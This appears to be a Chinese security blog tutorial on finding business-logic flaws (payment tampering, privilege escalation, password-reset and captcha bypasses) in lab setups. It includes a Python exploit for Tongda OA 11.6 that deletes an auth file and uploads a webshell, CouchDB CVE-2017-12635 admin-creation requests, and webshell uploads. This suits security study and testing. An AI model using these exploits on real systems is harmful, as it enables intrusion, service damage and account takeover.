Src挖掘技巧分享 :談談業務邏輯漏洞
談談業務邏輯漏洞
業務邏輯漏洞簡介
業務邏輯漏洞,是由于程序邏輯不嚴謹或邏輯太過復雜,導致一些邏輯分支不能正常處理或處理錯誤,這樣的漏洞統稱為業務邏輯漏洞。
簡單理解:就是編程人員的思維邏輯不夠嚴謹導致攻擊者有機可乘的漏洞
邏輯漏洞還是一種雖然沒有在owasp top10 中提及到,但是往往會存在的漏洞。好像一名隱士,大隱隱于市,然而造成的破壞可能一點不比sql注入,xss等漏洞小。如下是邏輯漏洞的top10挖掘方向:

根據漏洞出現位置來總結
邏輯漏洞大概出現在如下幾處。下面我們根據出現位置來一處一處進行總結

登陸部分存在的邏輯漏洞
暴力破解用戶名或密碼
暴力破解用戶名密碼的情況,一般出現在登陸部分沒有驗證碼機制,沒有根據用戶名限制失敗次數,沒有根據ip限制失敗次數等情況下。
通常思路:
- 直接拿密碼字典爆破某一個用戶名
- 拿固定的弱口令密碼,去跑top xxx的用戶名
- 如果只是用戶名限制失敗次數,可以使用思路2的方法
- 在存在返回提示用戶名錯誤或者密碼錯誤的情況下,可以分別爆用戶名和密碼
常見限制:有時候會發現用戶名或者密碼是密文加密,這時可能是通過前端或者其他方式加密,對于簡單的來說base64編碼和md5的簽名是很好識破的,在爆破的時候可以選擇encode和hash
利用cookie&session
cookie偽造
Cookie偽造:通過修改 Cookie 中的某個參數來實現登錄其他用戶
測試方法:
1.使用一個賬號登錄,找一個可以證明身份的頁面,例如首頁的歡迎 xxx 或者是個人中心顯示昵稱的地方
2.刷新該頁面攔截請求,觀察 Cookie 中的字段和值,例如 userid=xxx,修改Cookie中的值,把 xxx 改成 admin
3.forword 放行,頁面顯示 admin 的信息,則存在此問題。
? 修復方法:對于客戶端標識的用戶信息,使用 Session 會話認證方式,避免通過 Cookie 去仿冒其他人的身份。
Session會話固定攻擊
Session會話固定攻擊:一種誘騙受害者使用攻擊者指定的會話標識(Session id)的攻擊手段,利用了服務器的session 不變的機制
攻擊步驟:
1.攻擊者通過某種手段重置目標用戶的 Session id,然后監聽用戶會話狀態
- 目標用戶攜帶攻擊者設定的Session id 登錄站點
- 攻擊者通過 Session id 獲得合法會話
? 攻擊者重置 Session id 的方法:通過xss,嗅探等方法取得用戶的session,修改數據包。
? 修復方法:每次登陸成功之后重新生成session,sessionID閑置過久時,進行重置sessionID
案例-益云公益廣告越權修改漏洞
用戶A創建一個廣告,記住id為420

用戶B也創建個廣告,進入修改頁面,截斷修改請求,并將id改為420


支付處存在的邏輯漏洞
支付處存在的邏輯漏洞很多,但是一言以蔽之:數據篡改。
下面我們先來看一個支付處邏輯漏洞的復現。
Tiny_shop CMS 邏輯漏洞復現
環境搭建
LAMP環境的安裝直接省略掉了,phpstudy一把梭非常的舒適。將源碼copy到phpstudy的WWW文件夾中,啟動lamp環境,即可進入安裝頁面
http://127.0.0.1/TinyShop_v3.0/install/index.php?step=1


ps:環境搭建成功后,我發現訪問index頁面顯示空白頁面。在大佬的提醒下發現是自己php版本不對(7.x)換成php5.x版本再次訪問即可

支付邏輯漏洞復現
首先點擊最上方的登陸按鈕,登陸默認賬戶 test@test.com 密碼 test (自己注冊的)
這里我們隨便選擇了一個商品,選擇好產品參數之后,點擊購買。

點擊購買時,使用bp進行抓包,在數據包中,將表示商品數量的num變量改為負數,然后forward這個數據包。

這樣就利用網站漏洞成功薅到了店家羊毛

除了上述修改商品數量的方法,支付處的邏輯漏洞還包含如下幾種思路,由于操作比較簡單且大同小異,這里為了節省篇幅只放利用思路。
修改商品編號
如果業務是通過商品編號來判斷價格的話,可能存在只修改A商品編號為B商品編號,做到以A商品的價格購買B商品
條件競爭
支付處,多線程請求付款確認,結果如果余額為負數,則存在該漏洞
金額修改
金額直接寫在了post或者get請求中,對其進行修改達到修改了商品金額的效果
充值中放棄訂單未失效
在充值中選取大額充值訂單,放棄訂單,獲得訂單號,之后充值小額訂單,拿到充值成功的界面,將訂單號修改為放棄的大額訂單,觀察是否成功
業務辦理處-越權漏洞
之前跟著ms08067的大佬學習的時候,剛好寫過相關筆記,還有幸發在該組織公眾號上了,這里扒過來
0x01前言:越權訪問漏洞概念簡析
”授權“與“驗證”
了解越權訪問的概念,首先要了解授權和驗證的概念:授權是指網站賦予特定人對網站特定資源的讀寫權限。而驗證是網站用于檢查操作者是否真的可以對特定資源進行讀寫
“未授權訪問”
未授權訪問是指用戶在沒有通過認證授權的情況下,能夠直接訪問需要通過認證才能訪問到的頁面或文本信息。
那么,什么是越權漏洞?
由于沒有對用戶權限進行嚴格的判斷,導致低權限的賬號(比如普通用戶)可以去完成高權限賬號(比如超管)范圍內的操作,如果能夠成功操作,則稱之為越權操作。越權漏洞形成的原因是后臺使用了 不合理的權限校驗規則導致的。
越權漏洞的產生原因
開發人員在對數據進行操作時對客戶端請求的數據過分相信,遺漏了對于客戶端權限的仔細判定。
越權漏洞常見位置
- 修改、重置、找回其他賬戶密碼
- 查看、修改其他賬戶未公開的信息,例如個人資料、文件、數據、程序等
- 與賬戶關聯的權限操作
0x02 越權訪問漏洞的兩大分類
越權漏洞主要分為水平越權和垂直越權兩大類。
水平越權:同級別(權限)的用戶或者同一角色的不同用戶之間,可以越權訪問、修改或者刪除的非法操作。如果出現此漏洞,那么將可能會造成大批量數據泄露,嚴重的甚至會造成用戶信息被惡意篡改。
例如兩個不同的公司A和B,通過修改請求,公司A可以任意修改B公司的員工、部門、考勤等信息。
垂直越權:指使用權限低的用戶可以訪問權限較高的用戶
垂直越權危害:
? 向上越權:普通用戶可以執行管理員權限,比如發布文章、刪除文章等操作。
? 向下越權:一個高級用戶可以訪問低級用戶信息(暴露用戶隱
例如同一個公司的職員A和經理B。顯然他們在公司后臺管理系統中賬號的管理權限不同。垂直越權通過修改請求,職員A可以修改不在他管轄范圍內的員工、考勤、工資等(自我加薪??)
關于如上介紹的總結話,偷我親愛的來自MS08067團隊的講師一張圖是再好不過了

0x03 越權訪問漏洞實戰課內復現
水平越權
metinfoV4.0越權漏洞復現
環境準備:
下載metinfoV4.0CMS源碼進行網站搭建
- 下載地址:https://www.metinfo.cn/upload/file/update/MetInfo4.0.zip
- 其他版本下載地址:http://www.metinfo.cn/upload/file/update/MetInfox.x.x.zip(將x.x.x改成對應版本即可)
- 源碼:MetInfo4.0.zip
下載后將源碼解壓至phpstudy的web根目錄即可。
解壓完畢后利用瀏覽器訪問網站地址進入安裝目錄創建普通用戶進行登錄

登陸后進入修改基本信息的頁面,隨便修改一個密碼,點擊提交信息的同時上傳

抓包修改useid為管理員id

成功修改管理員賬號密碼為123456,嘗試登陸

成功登陸,在界面風格->模板管理->添加新模板處發現一處文件上傳漏洞。將冰蝎木馬壓縮成zip文件成功上傳
查看一下編輯模板參數,報錯是在意料之中的,我們需要的是木馬路徑

使用冰蝎服務器端連接木馬。成功執行

海洋cms v9 越權漏洞
環境準備
https://github.com/seacms/seacms-v9下載seacms9.0版本的源碼。還是使用php部署,部署過程非常簡單。注意php+mysql的版本一般就是一路綠燈。
復現該漏洞需要注冊兩個網站賬號
1.test@test.com/1234562.ms08067/123456

漏洞復現
分別用chrome 和微軟兩個瀏覽器登陸這兩個賬號

通過抓包,獲取ms08067用戶的phpsessid為:df9jjuneuuqo5hgjjsid106km4

在另一賬號test@test.com的修改密碼操作上抓包,并將sessid修改為ms08067賬號的sessid。嘗試更改密碼為123456789。放包,顯示修改成功。
嘗試使用新密碼登陸ms08067賬戶,發現登陸成功。

垂直越權
Couchdb 垂直權限繞過漏洞(CVE-2017-12635)
漏洞描述
Apache CouchDB是一個開源數據庫,專注于易用性和成為”完全擁抱web的數據庫”。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意命令執行漏洞,我們可以通過config api修改couchdb的配置query_server,這個配置項在設計、執行view的時候將被運行。
影響版本:小于 1.7.0 以及 小于 2.1.1
環境搭建
使用虛擬機安裝docker,vulhub
cd vulhub/couchdb/CVE-2017-12635 #進入靶場目錄docker-compose up -d #開啟靶場docker ps #查看端口
一個小報錯處理
p.s:運行命令docker-compose up -d這里出現了一個報錯。百度搜了一波,發現這是由于當前用戶未加入docker組。解決方案是運行命令
sudo gpasswd -a ${USER} docker
然后退出當前用戶比如切換為root,再次切換回原用戶。然后執行docker-compose up -d就ok了。

漏洞原理分析
由于Erlang和JavaScript對JSON解析方式的不同,導致語句執行產生差異性(對于給定的鍵,Eralang解析器將存儲兩個值,但是JavaScript只存儲第二個值)
如:Erlang:
jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
JavaScript:
JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
可以被利用于,非管理員用戶賦予自身管理員身份權限。
參考文章:https://cloud.tencent.com/developer/article/1144778
漏洞復現
訪問服務器ip:5984并抓包將抓到的包發送給重發器(Repeater)并將發送數據改為如下(服務器IP地址為自己搭建的IP):
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}
返回403錯誤:{“error”:”forbidden”,”reason”:”Only _admin may set roles”}報錯原因是只有管理員才能設置Role角色。通過增加一個roles字段數據包的方式繞過限制
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}

通過新創建的用戶qaq/666666成功登錄

復現完記得銷毀環境哦~目錄中執行命令
docker-compose down -v

0x04 越權訪問漏洞課外復現:
通達OA11.6版本越權漏洞復現
環境搭建
現在通達官網已經把版本升級到了11.7,所以下載11.6版本需要自己尋找資源
傻瓜式安裝,配置界面如下。完成安裝之后就可以暫時不用管它了。記得接觸80端口占用(一般是要把phpstudy關掉)

安裝完之后就可以訪問網站首頁了。這個漏洞復現手動過程比較容易,執行exp 寫馬就可以了


exp:
腳本內容如下,核心思路就是刪除網站里的一個名為auth.inc.php的文件,進而越權拿shell
import requests#填寫iptarget="http://ip/"#一句話木馬的密碼是qaqpayload=""print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#刪除網站里的一個名為auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file")
注意,該EXP不是無損EXP,會刪除auth.inc.php讓OA無法正常工作

蟻劍拿shell
程序執行之后出現了一個URL,為一句話木馬所在位置。使用webshell管理工具(如蟻劍鏈接即可)

dedecms v5.7越權漏洞復現
環境搭建
利用phpstudy搭建,下載源碼后copy進根目錄安裝即可

用戶名admin 密碼admin進入后臺,系統設置->系統基本參數->會員設置 將是否開啟會員功能一欄調為是

接著返回網站主頁,注冊一個賬號,記得不要設施安全提示問題

接著回到后臺將等待驗證郵件修改為:”審核通過,提示填寫完整信息”

進入 test123用戶的個人中心,打開bp抓包,將DedeUserID_ckMD5覆蓋為last_vid_ckMd5。修改完成后釋放該包

此時發現test123用戶變成了admin

使用F12打開控制臺,進入儲存,仍然是將DedeUserID_ckMD5覆蓋為last_vid_ckMd5。將DedeUserID的值修改為test123.
刷新抓包,發送至repeater
將location后的網址從http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改為http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E
關閉代理訪問即可修改管理員賬戶密碼

0x05 后記
越權漏洞的產生歸根究底,還是由于網站開發者和管理者授權意識的淡薄,授權的濫用。因此,授權應當遵守如下幾條原則:
1.使用最小權限原則對用戶進行賦權,對待權限做一只一毛都不多拔的鐵公雞
2.使用合理(嚴格)的權限校驗規則;
3.使用后臺登錄狀態作為條件進行權限判斷(別動不動就瞎用前端傳進來的條件)
密碼找回處存在的邏輯漏洞

方法很多,思路重復,這里挑重要的講
返回憑證
返回憑證的三種方式:
\1. url返回憑證
\2. 抓包返回憑證
\3. 憑證在頁面中
方法:
1. URL返回憑證 使用firefox的firebug查看請求鏈接,看鏈接中是否有驗證碼等密碼找回憑證 2. 抓包直接返回 根據手機號找回密碼后抓包,可以發現驗證碼直接顯示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理) 3. 密碼找回憑證在頁面中 通過密保問題找回密碼,查看源碼,密保問題和答案就在源碼中顯示
郵箱弱token
1.Unix時間戳 + md5
通過郵箱找回密碼,正常流程去郵箱查看重置密碼鏈接,發現鏈接處有一串 md5 加密字符串。字符串解密,類似 1491293277(10位),可以判斷為Unix時間戳。 重置他人密碼只需利用他人郵箱發送重置密碼郵件,在短時間內對Unix時間戳進行暴力破解,即可獲得重置密碼的鏈接
- 用戶名
重置密碼鏈接直接使用用戶名進行區別,改變用戶名即可更改他人密碼
- 服務器時間
利用兩個帳號同時點擊找回密碼,去郵箱查看找回密碼的鏈接,發現兩者的隨機 token 只差1-2,而且可以猜測 出為服務器時間。所以可以用一個未知帳號和一個已知帳號同時點擊找回密碼,稍微遍歷隨機 token,就可以構造出未 知帳號的密碼找回鏈接
生成可控token
舉例:
例如當我們通過郵箱找回密碼,正常流程下抓包查看提交驗證碼后返回的數據,有加密字符串,這個加密字符串和后面重新設置新密碼URL鏈接中的加密字符串一樣,所以可以利用這個加密字符串實現新密碼url中的加密字符串可控。于是根據上面提交驗證碼的抓包,修改User 為其他用戶(User有可能會使用md5加密),發送就可以返回其他用戶的加密字符串。接著重新返回到找回密碼首頁,利用其他用戶找回,點下一步,到輸入驗證碼處,直接修改URL鏈接,加入加密字符串,可 以直接繞過驗證碼,重置密碼。
驗證碼處存在的邏輯漏洞

暴力破解:
要了解常見驗證碼機制:
- 有的驗證碼輸入正確一次,在一定時間內不用再輸入。
- 有的驗證碼輸入正確一次,會在你session中設定一個值,告訴服務器你已經通過驗證碼驗證了。
- 有的驗證碼因為邏輯問題只是一個擺設,正常的邏輯為先對比驗證碼是否正確,再檢測賬號密碼是否正確,反過來了就變成了擺設
時間、次數突破:
概念:重復提交攜帶驗證碼的數據包,查看返回包,判斷次數
測試方法:
填寫正確登錄信息和驗證碼 –> 抓取提交數據包 –> 重復提交該數據包 –> 查看是否登錄成功 –> 登錄成功則存在驗證碼重復使用問題
回顯測試:
概念:驗證碼直接由客戶端生成,在回顯中顯示,可通過瀏覽器工具直接查看
測試方法:
\1. 在源碼中顯示。源代碼審計,搜索源碼中有無驗證碼
\2. 在COOKIE中顯示。抓包時分析COOKIE中是否含有驗證碼
繞過驗證碼:
漏洞成因:
由于邏輯設計缺陷,可繞過驗證,比如直接刪除COOKIE或驗證碼參數可繞過、當驗證不通過清空session時。驗證碼參數值為空時繞過等
測試方法:
Step1.輸入正確賬戶信息和錯誤驗證碼,登錄時抓包
Step2.刪除COOKIE
Step3.客戶端登陸成功
特殊姿勢:篡改手機號
在需要手機號的短信驗證處,抓包修改手機號,可能做到非本賬號手機號獲取能夠編輯本賬號的驗證碼
后記
邏輯漏洞看似復雜,亂花漸欲迷人眼。然而其實思路非常單一:先前端后后端順序枚舉各處漏洞點。其實考察的是你的耐心,細心,專心。
參考鏈接
https://blog.csdn.net/szming_/article/details/85317010
https://blog.csdn.net/weixin_44288604/article/details/108144165